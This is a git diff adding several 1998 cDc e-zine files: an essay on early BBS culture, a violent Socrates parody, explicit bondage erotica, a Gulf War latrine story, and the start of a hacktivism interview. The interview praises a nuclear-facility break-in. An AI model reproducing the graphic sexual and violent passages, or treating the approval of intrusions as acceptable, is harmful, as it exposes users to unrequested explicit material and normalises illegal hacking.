Roberts) to portray the Internet, I will use him from now +on. So anyway, people exploit Johnny, and they treat him like crap, just so +they can get their precious information. Just so they can get their naked Brad +Pitt pictures, whatever. Despite those pictures, that's what a library is for. +Give those old ladies some company before the brick buildings become obsolete. +As for the Brad Pitt spreads? They sell magazines at mini-marts. + +Don't get me wrong, I'm not against all people on the Internet, I'm just +against the attitude. Nobody takes the time to learn about how hard it takes +to keep a UNIX shell up. You ask someone about UNIX and they'll say they don't +care, not knowing that if it weren't for UNIX, there would be no Internet. But +of course, I digress. + +Back in 1994 I think, I was calling a local Maximus board and was so excited +about the new UNIX shell-based Internet service that would be up and running. +The World Wide Web was like this amazing thing that I could soon go on. Back +then I think maybe a total of a few thousand people would go on there during a +day. Now it's that many a second. It's preposterous! The consumption rate of +bandwidth these days by ignorant people tampering with their Prodigy and AOL +tools reminds me of Brave New World. Sooner or later, we'll be decanting +screenames. + +Yet I already find programs now that do that. + +If you can't get the vein of my argument here, then stick around, because I +hear the public likes a good feather-ruffling, and that's what I'm going to do. +Being a teenager who likes to learn, but not teach her know-how, I get +thoroughly irritated when people ask me questions about BBSes that I know but +can't answer in as simplistic Layman's terms as they would understand. "First, +I dial a number with my modem" .. "wait, wait, wait, how do you dial?" Then of +course, there are the people that ask you questions like procedures are so easy +and you can explain them in a second (if you wanted to) such as "How do you +hack?" Third off, the only people I can seemingly get along with are the ones +I've known way back in Brownieland who I can reminisce on about old Wildcat +BBSes and dreaming of RIP and ASCII graphic drawing. + +But as I quote J. Levi, "F**k reminiscing, lets do something about it!", I +think and I really like his idea. I don't want to reminisce anymore, I want to +LIVE THE EXPERIENCE AGAIN. Where oh where have my forum posters gone? Oh where +on the Net can they be? + +This all brings me to the Evil Empire. Corporate America, AKA Microsoft +sometimes. Anyway, Corporate America has killed the whole essence of the +Internet. Picture this, the Internet as little Johnny Roberts. Corporate +America buys him up, he sells out, and BOOM! big media storm, everyone LOVES +Johnny. Yeah. So when are they going to stop and let everyone who was on here +before all the noise enjoy their homeground? Probably never. + +And as J. Levi states again, "Figure it out, it ain't home anymore. Time to +find a new home...." + +Yes! Let's all be squatters, seemingly normal homeless persons, inhabiting a +piece of cyberland. A chunk of cyberdata with enough bandwidth to feed our +emotions and spontaneous posts. Nobody can kick us out of our space because +we'd have inhabited it for so long. We will make a new home! + +But you can't help but remember how once you could turn a dial in cyberspace +and get a few people discussing the possibilities of typical school lunch +mashed potatoes, a few others philosophizing about the day, and even more just +shooting the breeze in a fairly nice fashion. Today we can turn a dial in +cyberspace and get nothing but noise. People in their teens thinking they're +hackers because they stoles someone's password off a notepad in their room. +People who are old and just joining the Internet world, wondering about what to +do and asking people. But we are fending the land from these people who are +trying to take it over, as so fluently said by author J.C. Herz: + +"The Net is one of the only fantastic things we have that our parents didn't +have and, more importantly, that our yuppie uncles and aunts, who had +EVERYTHING, didn't have. It feels like our turf, whether or not our name is on +the deed. We settled it. We live on it. And now we are being invaded by +direct e-mail carpetbaggers, publicists, and online mall developers ready to +"streamline" it for the consumer. It stinks" + +And I can't help but agree. It is our place to get away from it all, we don't +need people trying to sponsor us or place thousands of little tiny ads in our +zines and newsletters, exploiting us. We don't need those high school girls +looking for cute boys in MTV chat rooms on AOL. We don't need those 25 year +old Harvard dropouts trying to get rich quick by sending mass mailings to +people. We don't need the virusphobics who send 2934829034829348 copies of one +virus warning e-mail to everyone when 99% of them know you can't get a virus on +your computer unless you download it and execute it. Duh. + +And don't get me started on the overpopulation of pervs on the Internet. Sure, +there were always pervs online back when times were good and we'd sip lemonade +and watch the text roll by on our ircII programs. But today they're even more +horrible. They linger and they annoy and not even AOL Terms of Service can +stop them. They comply to their 9 cents a minute long distance deals they hawk +whenever you call customer service, and bada-bing, bada-boom, they're back +online. + +Newsgroups were better back then also, less spam as I said, more talk. +Speaking of newsgroups and messages, MindVox was a big staple back then. First +time I logged on, I lurked, I always lurked, I never posted. But now I go into +the irc channel sometimes. (except I don't make the mistake of doing that while +on this AOL account) That was some good time message boarding. Oh what I'd do +for a good post today. + +I miss the old days. The "new" days in short reek like nasty digested chicken +grease and vomit. I'm tired of all this "BE IN THE NOW, SURF THE NET, GET +CAUGHT IN THE WEB" hype! Every movie now has a web page, every TV show, every +PERSON. It's really sad! + +So considering if I ever really took action against Mr. Corporate America, I +would probably lose anyway and not have anything to do about it, you know? So +I guess all I can do right now is sit here and reminisce about all those good +times, calling people with call waiting to knock them offline and steal their +node on a 5 line BBS just to talk to someone else. Creating fake accounts +(What? Fake accounts? Aren't they like, outlawed now or something?) to get more +time, not to mention hacking when nobody knew what the hell it really was. + +Then I stop and realize, my words are stronger than my fists and my words can +also help me fight an unspoken battle. (Yeah like that made sense.) I mean, I +want to fight a battle with all those people out there who buy $2500 computers +and don't know how to use them when there are computer experts like me running +on a buncha fifth-hand pieces of computer junk! I say we make a federal +government thing about it. Formal trade of computers. There should be a +welfare for computer systems. Yeah. + +"We experienced the golden age. The problem with golden ages is that it +is a description used after it is over. The net will probably never +return to the good old days but small pockets of freedom will always +exist, like hidden oases." - Stein Gjoen + +I picked this quote out of an E-Mail I received because it is so profound to +the situation. We all are afraid of history repeating itself, and we think it +doesn't, but it is. On the Net. Call me paranoid, but battles are ensuing on +the Net faster than wildfire, and there are full-fledged wars between systems +and people with no end in sight. It's World War III, and maybe it won't kill +the world physically, but electronically it could take it's toll. + +And here I sit, staring at the monitor, just wondering about netlife. It's a +good thing especially when you're on a crappy computer because you can enjoy +the no-frills parts of it. The whole essence of the Net lies in pine, pico, +and ircII. Can't forget good old lynx web browsing. And telnet. Nobody knows +what that word means anymore. I feel bad. I also feel bad about using AOL, +but the only reason is because there are no local Internet services left that +have my precious UNIX shell *sniff*. + +Anyway, I leave with one request. If you get this and it affects you somehow +and brings at least a tiny tear to your eye about the days of yore on local +bulletin board systems, then please post this message to anyone else out there +who might possibly remember the good times. + +And reply. I like mail, I miss real humans. + +With lotsa fight and writing power yet to come, + +Linda MacIntyre +DinerPixie@aol.com + + + .-. _ _ .-. + / \ .-. ((___)) .-. / \ + /.ooM \ / \ .-. [ x x ] .-. / \ /.ooM \ +-/-------\-------/-----\-----/---\--\ /--/---\-----/-----\-------/-------\- +/lucky 13\ / \ / `-(' ')-' \ / \ /lucky 13\ + \ / `-' (U) `-' \ / + `-' the original e-zine `-' _ + Oooo eastside westside / ) __ + /)(\ ( \ WORLDWIDE / ( / \ + \__/ ) / Copyright (c) 1998 cDc communications and the author. \ ) \)(/ + (_/ CULT OF THE DEAD COW is a registered trademark of oooO + cDc communications, PO Box 53011, Lubbock, TX, 79453, USA. _ + oooO All rights reserved. Edited by Omega __ ( \ + / ) /)(\ / \ ) \ + \ ( \__/ Save yourself! Go outside! Do something! \)(/ ( / + \_) xXx BOW to the COW xXx Oooo + + + diff --git a/textfiles.com/groups/CDC/cDc-0353.txt b/textfiles.com/groups/CDC/cDc-0353.txt new file mode 100644 index 00000000..6ddeb86e --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0353.txt @@ -0,0 +1,108 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Pulp Philosophy + by SHADESHIFTER + 5/1/1998-#353 + + __///////\ -cDc- CULT OF THE DEAD COW -cDc- /\\\\\\\__ + \\\\\\\/ Everything You Need Since 1986 \/////// + ___ _ _ ___ _ _ ___ _ _ ___ _ _ ___ + |___heal_the_sick___raise_the_dead___cleanse_the_lepers___cast_out_demons___| + + +Just a little story about what happens to Socrates after he speaks to +Thrasymachus in Plato's _Republic_... + + + Thrasymachus had Socrates' arm pressed up against his back, and +forced him into the center of the Agora. Thrasymachus threw him down, and +tied him to the chair, which, oddly enough, had been waiting for them. From +his toga, Thrasymachus withdrew his 9mm. + Socrates' eyes widened. "Fuck! Don't do it, man!" + Thrasymachus remained unaffected by the plea for mercy. "Are you +finished, fucker?" Placing the gun an inch from Socrates' forehead, he +knelt down beside him. + "Look, man, you can have my ten yoke of oxen. You can have my +virgin daughters. My pomegranate orchard. Anything. Just let me go, +and I won't tell a fuckin' soul about this." + Thrasymachus looked at him awkwardly. "You like pomegranates? +Shit, motherfucker, I hear they got a fuckin' all you can eat special +going on pomegranates where you're headed." He smiled. + "Don't do it, man. Thrasymachus, be fair." + This struck a nerve with Thrasymachus. He said, contemplatively, +"Fair?" + "Yeah. Fair. Think about my wife and kids, man." + He removed the gun from Socrates' face, and sat next to him, +frowning. "Would you say that to be fair is the same thing as to be just?" + "What?" + "Well, I'm just a dull, wandering street philosopher, so I don't +quite understand where you're headed with your line of reasoning. Perhaps," +he began, as he motioned with the gun, "you could further elucidate your +theory of justice." + Socrates cocked his head to the side. "My theory? Of justice?" + "Yes. You do have a theory on it, don't you?" + "Well..." At the present time, he did not. + Thrasymachus shrugged his shoulders. "Perhaps, then, you'd like to +hear my theory." + Socrates' eyes brightened. "Oh, yes! Of course. You have a +theory?" + Thrasymachus sighed as he spoke. "Well, yes, I have been thinking a +little about justice. Not, of course, so deeply as could a wise sage like +yourself," he said. "But I've had a little idea, an insignificant, but +troubling, idea. It's been bothering me a bit, and I thought that maybe +someone as smart as yourself could help convince me that it is wrong." + "Of course. Anything I can do to help," replied Socrates, not +really picking up on Thrasymachus' sarcasm. + "So you'd like to hear my theory?" + "I'd be honored," he said. + "My humble little idea goes something like this." Thrasymachus +roared, "Justice is only the will of the stronger! What do you think about +that, you sophist fuck?" Caught in the rage, he punched Socrates in the +face, consequently breaking his nose and knocking him out of the chair. + Socrates replied only with a few burbled sounds, as his face bled +profusely, his toga undergoing a crimson transformation. + "Come on!" he screamed. "Come on, motherfucker, you wanna try to +disprove my theory, you weak little fuck? Yeah? Yeah?" Thrasymachus shook +violently. "Shit, I think I feel a proof coming on!" He raised the pistol +to meet the cowering Socrates, and emptied the clip into his body. "Why, +thank you, Socrates. You've certainly opened my eyes!" + + + .-. _ _ .-. + / \ .-. ((___)) .-. / \ + /.ooM \ / \ .-. [ x x ] .-. / \ /.ooM \ +-/-------\-------/-----\-----/---\--\ /--/---\-----/-----\-------/-------\- +/lucky 13\ / \ / `-(' ')-' \ / \ /lucky 13\ + \ / `-' (U) `-' \ / + `-' the original e-zine `-' _ + Oooo eastside westside / ) __ + /)(\ ( \ WORLDWIDE / ( / \ + \__/ ) / Copyright (c) 1998 cDc communications and the author. \ ) \)(/ + (_/ CULT OF THE DEAD COW is a registered trademark of oooO + cDc communications, PO Box 53011, Lubbock, TX, 79453, USA. _ + oooO All rights reserved. Edited by Omega __ ( \ + / ) /)(\ / \ ) \ + \ ( \__/ Save yourself! Go outside! Do something! \)(/ ( / + \_) xXx BOW to the COW xXx Oooo + + + + diff --git a/textfiles.com/groups/CDC/cDc-0354.txt b/textfiles.com/groups/CDC/cDc-0354.txt new file mode 100644 index 00000000..01309fb9 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0354.txt @@ -0,0 +1,184 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Unchained + by Isis + 5/1/1998-#354 + + __///////\ -cDc- CULT OF THE DEAD COW -cDc- /\\\\\\\__ + \\\\\\\/ Everything You Need Since 1986 \/////// + ___ _ _ ___ _ _ ___ _ _ ___ _ _ ___ + |___heal_the_sick___raise_the_dead___cleanse_the_lepers___cast_out_demons___| + +Editor's note: We don't usually publish erotica. For one thing, the +vast majority of woman-narrated porn prose is undoubtedly written by men +(or more probably, boys). This file, however, is written by a woman: an +amicus bovinus in good standing. You might remember Isis as the +author of cDc #344, the most anticipated expose of the meat-packing industry +since Upton Sinclair's _The Jungle_. + + +His body is naked on the sheets. Hands swept above his head tied +together at the wrists which are then bound to the headboard. I left his +legs free so I can feel them around me. I like it when I can feel his +ankles pushing on me. The way his thighs undulate when I walk past him. +I like the sight of a man on his back with only his eyes to draw you +near. + +I like to watch the rise and fall of a man's chest, they way he +struggles against the ties that bind him to me. To watch his own +personal struggle, the way he's doubting whether I tied his hands up +strong enough. And if he tries to break free will it tell me that he's a +little afraid. But I always know better. I don't have to be told or +shown. After I let him get used to the new role, I change it again. I +want him to see that being bound isn't always about one person being in +control, and the other powerless. That there is power in subservience. +No one can have control over another without them wanting to be +controlled. And knowing that IS power. + +I go over to where he is lying and stand at his feet letting his toes +touch my legs, letting him curl his toes into my panties. Feeling the +warmth that lingers there for us. Just as he tries to bring down my +panties I slip back and walk over to the drawer beside our bed. I open +it and bring out the whip that is curled in the form of a snake. I grasp +the handles and take it over to him. Running the tip of the tails in +between his toes, over his calf muscles and slowly up his thigh. +Hesitating on his cock, I slowly circle the tails around his balls, back +over his cock and up his chest. I do this a few times until I see his +eyes blink and his Adam's apple slide up then down. Quickly drawing the +whip up from him. I turn it around so that the handle is dangling over +his mouth. I tell him to suck on the handle. If he shows me how to suck +off the handle like a cock then I might favour him so later. He runs his +tongue down the handle and around it as I pull it back and forth. I +watch his eyes firmly on me, peering at me to see my reaction. To see if +he is doing it right. But I show no sign, no indication of whether he +will be getting blown later or not. + +When I feel he has sucked off the handle enough I take it and run it +alongside his stomach and down his thigh. Resting it on the side of his +buttocks I push on him with the handle, a gesture that means rolls over. +With his hands twisting harder against the headboard he arches his back +and turns to face the upright mirror adjacent to our bed. I want him to +see himself whilst being teased and spanked. Taking a feather that I +have nestled in my hair I slowly tickle his buttocks as he wriggles away +from me. I prepare the whip for when he returns. Lifting the whip out +in front of me, and widening my stance I let the whip crack against the +opposite buttock. I have this turn on with symmetry. I never like to +spank the same cheek that caused him to return to me. In this instance I +tickled his left cheek, because of that he moved away from me, but he +also came back. I believe that the feeling of not being tickled was +enough to make him want more. So the right cheek is for pain, for +punishment and the left is for soft teasing and caresses thus balancing +everything. This keeps him coming back for me even though he never +knows which buttock is going to be tantalised next. Symmetry is +important. + +After I have him flinching constantly, to the extent where I don't have +to even touch him (just the raising of one of my hands tends to have him +either wince or jitter). I place the whip and feather on the floor. I +want him to see how happy this has made me. How thankful I am to be part +of this. Telling him to lie back flat on his back I straddle him so +that my face is towards his feet and my back at his face. Lying down +against him I urge him to take off my bra with his teeth. I'm left only +with my panties on which I am rubbing back and forth across his abdomen +while I run my hands up his inner thighs. Letting the curve of my hand +rest under his balls cupping them slowly. Applying pressure all around +and slightly raising his balls until they reach my lips. Sliding my +tongue out of my lips and pushing them open I lick the curve of his +balls up until I reach the base of his cock. I think of him lying there +staring at the back of my head. The way my ass must look raised a little +over his stomach. What the arch my pussy must look like covered in lace +with some fine shiny hairs peeking out between the holes of the lace. +And how when I get wet a dark spot appears on the outside of my panties. +As I think of these things I let my tongue course slowly up the shaft of +his cock. Pretending that my tongue is like blood cycling through him. +Until I reach the head, where it curves. I turn my tongue so it curls +round his head, letting the stud in my mouth press down against him. +Then I push him deep into my mouth closing my lips tight against him. +Drawing my teeth back and flattening my tongue underneath his cock. I +continue this over and over again. Imagining myself as part of him. +Like we are on a boat, each feeling the waves at the same time. When I +sense that he is close to cumming. I pull back from his cock. I turn +around so that I'm facing him. I run my tongue up his abdomen pressing +my breasts against him until my pussy is about an inch above his face. +He asks me to take off my panties but I refuse. I want to have him play +with me through the panties. When he can taste me and I can feel soaked +throughout the lace, only then will I take them off. + +I wrap my thighs around his head so that he can keep his head up with +out having to strain too hard. Guiding his head with my thighs I bring +myself unto his tongue. I sway back and forth with his tongue. I can +feel his mouth pressed against my panties, his tongue plunged deeply +into the crease that has formed there from having the lace pushed inside +of me by his fervent licks and thrusts. I feel the arcs come, like these +little tangents. That come and go quickly, then they come and stay +longer. I start grinding down against him, wanting to grind so hard that +it hurts. Right as I feel myself about to peak I snap my legs shut and +push his back onto the bed with my knees. I stand up on the bed and put +my hands on my side an lower my panties until they fall down onto his +mouth. Telling him to suck on them, I place myself so that the tip of +his cock is against the outside of my pussy. Like a bee buzzing +persistently at the petals of a flower trying to get to the pollen. +After rotating my hips around a few times I slowly descend onto him. +Making sure that his cock is being helped up by my outer pussy lips. +Watching him with his hands still tied and sucking on my panties. I let +myself plunge down all the way on his cock. Moving from an upright +position I lie down against him so that my head is under his chin, and +my body squeezed tightly around him. I glide up and down, then as I come +down again I flex the lower part of my body so I can deepen the +position. As I rise up I clench the muscles inside my pussy so that I get +tighter as I near the head. + +I love the feeling of being like a vice. I have all these holds I can do +that can alter the feeling of his cock, and can make it really intense +when we cum. As long as he flows with it we should be able to cum quite +close to each other, if not on time. + +I look up and raise myself a little, I see the panties have been pushed +aside but I don't care. I want to feel his tongue on mine. Kiss him, +bite around his neck and whisper my thoughts at this very moment. Hear +our moans resonate on the walls around us. I tell him how I feel. What +It feels like, and how hard I'm gonna cum and sometimes even when. As I +grow nearer I feel our bodies quicken and the spasms come through us +sending our chakras into a frenzy. When the last few waves pulse within +us, I slow down and drag them out with calm and tranquillity. Lying flat +on top of him I reach up and untie the hands that bind him to me and +this moment. + + + .-. _ _ .-. + / \ .-. ((___)) .-. / \ + /.ooM \ / \ .-. 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Do something! \)(/ ( / + \_) xXx BOW to the COW xXx Oooo + + + diff --git a/textfiles.com/groups/CDC/cDc-0355.txt b/textfiles.com/groups/CDC/cDc-0355.txt new file mode 100644 index 00000000..45bd9976 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0355.txt @@ -0,0 +1,147 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Shit-Burnin' + by Cal Jacobson + 5/1/1998-#355 + + __///////\ -cDc- CULT OF THE DEAD COW -cDc- /\\\\\\\__ + \\\\\\\/ Everything You Need Since 1986 \/////// + ___ _ _ ___ _ _ ___ _ _ ___ _ _ ___ + |___heal_the_sick___raise_the_dead___cleanse_the_lepers___cast_out_demons___| + +...I guess I should tell the "shit-burning" story. A lot of veterans out +there probably know what this sort of thing is all about, but if you've +never served in the military you may have been kept in the dark about what +could possibly be the real cause of the mysterious "Gulf War Syndrome." +I swear to God I'm not making this story up. + +When you're stuck out in the middle of nowhere (whether camping or on a +military operation), one of the most important things is keeping clean. +Keeping clean means keeping the chance of illness down. Makes sense, right? +The Army calls this field hygiene, amongst other things, and it covers more +than just making sure soldiers get a shower every 2 weeks at the minimum (I +can't recall the actual regulations, but I know that it's a different +amount of time for men and women; shorter for the women). It also covers +where you're going to throw your dirty water and...yes, human waste. + +If you're in one place for a really short amount of time, the Army says you +can just dig a 1'x1'x1' "cat hole" and take a dump in it there. There are +three disadvantages to this: + + 1. You need to dig your hole before you really need to shit. + 2. You're going to be squatting above a hole in the ground. + 3. If there are a lot of people in your group, you're eventually going + to run out of places to dig. + +When we got to Saudi and rolled out into the desert in October 1990, we +stayed in the same spot for about three months (during the big build-up of +forces in the region). Digging holes wasn't a practical solution for a +battalion of 350+ people because we'd eventually have to walk all the way +to Syria to find a place to dig a hole. Thus was revived the grand +tradition of the "Latrine burn", more commonly known as the "shit-burning +detail" (a "detail" is military-speak for a job or task given to +low-ranking people who haven't found a way to get out of it). I believe it +originated in Vietnam or perhaps the Korean War, but I may be mistaken. + +The government (either ours or the Saudis) contracted the local labor +(usually Pakistani) to make hundreds of cheap wooden 4-seater outhouses, +under the holes of which halved oil drums were placed. Theoretically, the +"cans" would be removed daily and the contents would be burned, thus +eliminating tons of American shit that would otherwise have to go somewhere +and would probably result in a major ecological disaster. + +Note that I said "theoretically." You see, shit doesn't burn well. Even the +Army knew this, so we were told to douse the contents of the shit-cans with +gasoline. + +Unfortunately, I think shit ranks right up there with asbestos in terms of +non-flammable materials. We would pour at least five gallons of gas for +every two cans' worth of shit, and the stuff would only partly burn. What +was worse, it was often hard to get the fire started because most of what +we had was diesel fuel. If you've never worked with diesel gas, let me give +you a brief summary: diesel burns hot, but takes a lot of heat to get it +going. I have seen lit matches drowned in diesel. So we usually had to mix +regular gas (used in the Humvees) with the diesel...the regular gas would +ignite and in turn ignite the diesel, which would burn hot enough to +incinerate some of the shit. + +While it was burning (and it would usually take a couple of hours for the +stuff that was going to burn, to burn out) you would occasionally have to +stir it...usually with a metal pole used for holding up camouflage netting +(we had plenty of these poles so we didn't have to replace them at the end +of the day -- thank God). Now if you think regular shit is pushing the +extreme limit of foul, you've never seen, smelt, or heard burning shit. It +produces black smoke that doesn't rise very high but drifts for miles and +smells like...well, burning shit. It sounds like a deep-fat fryer...you +know, what they put french fries in at Burger King. But like I said, shit +doesn't burn. And even after burning the contents twice, you often had as +much as 50% of the original material left. So...what the hell do you do +with the rest? + +That's right, you bury it. In a hole. Sound familiar? + +So after doing all of that, you would still have to dig a hole and pour the +pudding-like remains in there (which made a "blorp" sound), then burn the +can again to get rid of anything that refused to be poured out. + +As awful as it sounded, shit-burning detail was actually one of the more +popular jobs to be "stuck" with, once the benefits were actually realized. +I know, I know, you're wondering "what the hell is good about burning +shit?!?" + +Well for one thing, because they didn't want you burning shit in the middle +of camp, you had to load the cans up in a Humvee or a truck and drive a +mile or so away. This meant that you were able to get away from the +officer-induced, gearing-up-for-war bullshit that was taking place. +Instead, you could just light the cans and relax with a book or headphones +for a few hours. As long as you were upwind, in the shade and had plenty of +water (remember, we're in a desert) you were set. Other than a few +disgusting minutes, it was the closest thing to a day off we had over +there. + +The rituals of other Army units differed, but this was the norm for +Headquarters company, 312th Military Intelligence Battalion, 1st Cavalry +Division. I hope you've enjoyed being grossed out almost as much as +I've enjoyed grossing you out. + + +Cal Jacobson +jake@tidalwave.net + + .-. _ _ .-. + / \ .-. ((___)) .-. / \ + /.ooM \ / \ .-. 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+  ...presents...              The Longer March
+                                                         by Oxblood Ruffin
+                                                         7/15/1998-#356
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+               \\\\\\\/  Everything You Need Since 1986  \///////
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+"Adventure, exploration, discovery, human courage and cowardice, ecstasy and
+triumph, suffering, sacrifice, and loyalty, and then through it all, like a
+flame, an undimmed ardor and undying hope and amazing revolutionary optimism
+of those thousands of youth who would not admit defeat either by man or nature
+or God or death -- all this is and more seemed embodied in the history of an
+odyssey unequaled in modern times."  
+                  -- Edgar Snow, _Red Star over China_
+
+
+    This interview was conducted at Ted's Auto Collision Bay and Fine
+    Dining in Toronto, on July 7th, 1998. Blondie Wong (hereafter, B)
+    is the Director of the Hong Kong Blondes and Oxblood Ruffin 
+    (hereafter, O) is the Foreign Minister of the
+    CULT OF THE DEAD COW (cDc).
+
+
+[Editor's note: This interview was referred to in Arik Hesseldahl's
+July 14, 1998 WIRED NEWS article, "Hacking for Human Rights"
+

and the Toronto Star's July 23, 1998 article, +

"Computer Hacking New Tool of Political Activism".] + + +O: I'm happy that this is finally coming together. I've had all kindsa + people beggin' me to speak with you. One journalist even emailed me to + suggest that he would fly anywhere in the world where I could blindfold + him and put him in the trunk of a car, then drive him to some secret + rendezvous where he would interview you. +B: It sounds like something from a movie. Are you sure he wasn't joking? +O: No. He was very sincere. I was tempted to take him up on his offer and + drive him to Detroit. "Hey, babe. Blondie couldn't make it but I've + managed to dig up Jimmy Hoffa for you." +B: I know that was a joke -- but I don't know what kind. +O: O.K., before we begin, I've gotta ask you something? +B: Yes. +O: What's up with you and those Prada loafers. Have you been reading + _Wallpaper?_ Are you dating a model? Give it up hacker man. +B: Enough. Clothes aren't important. +O: If that were true you wouldn't wear D&G suits. Face it. You're one + stylin' revolutionary. +B: I own two suits. Everything else can be put into a suitcase and that + includes my computer and personal items. I own very little. +O: You like to travel light. +B: I have to travel light. +O: You make it sound like someone is after you. +B: You know who is after. +O: O.K. Do you believe that the Government of China is looking for you? +B: I know so. +O: How do you know? +B: Our sources have alerted us. And there was the incident last August. +O: Pass. Do you still have armed guards. +B: Yes, over there. +O: Charming. He looks like a fucking troll. +B: Don't look at him. He doesn't like ... +O: Biscuits? +B: What? +O: He doesn't like white guys? +B: I am not always given suitable people. +O: Given? +B: Yes, our arrangement with [deleted] ... +O: Whoa! You shouldn't use their name. +B: Well, we have a working relationship with a group of people who are even + more outside of the law than we are. +O: That works. The enemies of my enemies are my friends. +B: What does that mean? +O: I think it's a quote from Themistocles. It means that sometimes we make + alliances based on mutual conflict with a third party. Like the U.S and + Iran. They have very little affection for each other but even less for + Iraq. +B: Just so. We share the same enemy. I like that. +O: And these law breakers provide you with armed guards? +B: That and other things. I prefer more to use their help to move people in + and out of the country. +O: You mean in and out of China? +B: Yes. A few months ago one of our people was picked up ... +O You mean Lemon Li? +B: Yes, Lemon was questioned in Beijing. She was released after a few hours + but I couldn't take any chances so our associates moved her out of + China. She is in Paris now. +O: Having a woman as the head of technical operations is sort of a radical + concept for a group of hackers. +B: Half of our members are women. Half of the people in the world are + women. Lemon is our best person. The best people go where they're + needed. That's our policy. +O: How'd she get the name Lemon? Is it from that song by U2? +B: No. She loves Meadowlark Lemon, the basketball player. She got an old + videotape of the Harlem Globetrotters and played it until it turned into + a snow storm. +O: Cool. So did moving Lemon to Europe disrupt the Blonde's agenda? Has it + made things more difficult? +B: Difficult? No. She is acting more like traffic co-ordinator now. Much of + our work is happening from the inside and she steers our efforts in the + right direction. +O: What do you mean that work is being done from the inside? The inside of + what? +B: We, the Blondes have grown by about twenty members from this time last + year. Many of the newer members are government employees. Technical + people mostly. +O: Get the fuck outa here. Are you saying that these people are like moles, + that they're members of the CP? +B: Yes. +O: Holy shit. That is some serious spy candy. +B: What? +O: Nothing. It's been an interesting year. I've noticed in the computer + underground that there are a few younger groups who cite the Hong Kong + Blondes as an inspiration. There's been a lot of activity, especially + around Analyzer's crew. He seems to have influenced people who claim to + be hacking for some higher purpose. They say they want to fight child + porn and other things. Do you have an opinion about this? +B: There has been a shift in consciousness, I believe. Younger people have + a great deal of talent although they can be very awkward. But the point + is, I think they are different from the generation of hackers before + them. They want the recognition and attention, but they also want to do + something to contribute to change things in a positive way. In general, + I think what they are doing will grow and turn into something that makes + a difference. +O: Do you think the BARC [nuclear research facility in India] break-in + represents some kind of progress? Is this the sort of thing that you're + talking about? +B: Yes. That's a good example. Nuclear proliferation is still a tremendous + threat to international security, but since the fall of the Berlin Wall + and the commercial development of Russia and the other states, there's + this attitude that everything is golden. Somehow people think that the + bombs have disappeared because we don't read about them in the papers + like we used to. At any rate, I view the BARC intrusion as something + positive because it will draw attention to the situation and cause more + discussion about a serious issue. +O: Were you political in school, in China? Is that where you got your + orientation? +B: I became aware of politics at an early age. But it was just awareness. + I was never politically active, if that is how you mean it. Politics + for me has always been something disgusting, something I didn't even + want to understand. +O: Woody Allen once joked that a politician was about two steps below a + pedophile. +B: That must make him feel slightly superior to a politician. But yes, + that is more or less my feeling too. +O: So when you say that you were politically aware, what do you mean by + that? +B: In China it is impossible not to be aware of politics. The Party is + everywhere. Meetings, criticism, people being denounced. And the fear, + that is really the big thing. Imagine: you can't speak freely. Or + you're always wondering who is going to report you for having contrary + opinions. What everyone in the West takes for granted is a luxury in + China. When I was younger I never really wanted to change anything. I + just wanted to remain above it. Sounds selfish, I know. But for me, my + goals have always been more -- how is it? -- more spiritual. I was, + even now, more influenced by persons outside of political life. +O: I understand, but even the great social activists are inherently + political. Gandhi, Martin Luther King, they were both stuck with + politics. +B: Fortunately they had the advantage of dealing with democratic + institutions. My opponents would be very happy to put a bullet in the + back of my head. +O: Yet you still do this work. Why? +B: I feel that I have no choice. I have the capacity to lead and to + organize. And there is, well, I think I still have a lot of anger in me. + My father was murdered during the Cultural Revolution. He was dragged + out of our home by the Red Guard and stoned to death right in front of + us. +O: Damn. Who was us? Your family? +B: Yes. My mother and myself. After that we went to live with my uncle. +O: So why did they come to your house? Why did they want your father? +B: One of the girls from the Red Guard denounced him. So stupid. He had + given her mother some calligraphy, something Buddhist, a prayer or + something, and that was what made my father an enemy of the people. + I think they had really just come to humiliate him, but it got out of + hand. +O: So you're a kid. Your father has been, well, murdered, and you and your + mother go to live with your uncle. What can you tell me about that? +B: It was very difficult for everyone, especially my mother. She became + excessively paranoid and eventually refused to leave the house. I had + to take care of her most of the time. When I went to school a neighbor + would come to help. My uncle is a bachelor and there was no one else in + the house. Plus he often traveled. +O: What did he do? +B: That is hard to answer. He is very gifted at languages. I think that's + all I can say. I became fluent in English because of him. Yes. But I + think that's all .. +O: Understood. And school? Growing up? That sort of stuff. +B: I was asleep in school mostly. Quite bored. School, learning, these + things have always been easy for me. I look at a book, once, twice, and + that's it. I understand, and it stays. I never had to study. So the + disadvantage was that I was always bored, looking out the window, you + know. Sports were the only thing that kept me from going crazy. I + played soccer at school, but mostly, I practiced martial arts. Anyway, + it was school, sports and running home to help out. That was my life. +O: Man. Was there anything, did you ever goof off, you know, do dopey shit + with your friends when you were a teenager, or were you pretty serious? +B: Let's see. Yes. When I was fifteen I fell under the spell of Bruce + Lee. Everyone thinks of him as this great martial artist, and that is + true, but what most people forget is how funny he was. He had been a + child actor in Hong Kong and was good at falling-down humor. You know, + when you're always tripping and falling on your ass, like what Jackie + Chan does. +O: You mean sight gags? Slapstick? +B: Yes, slapstick. I found these really ugly glasses with 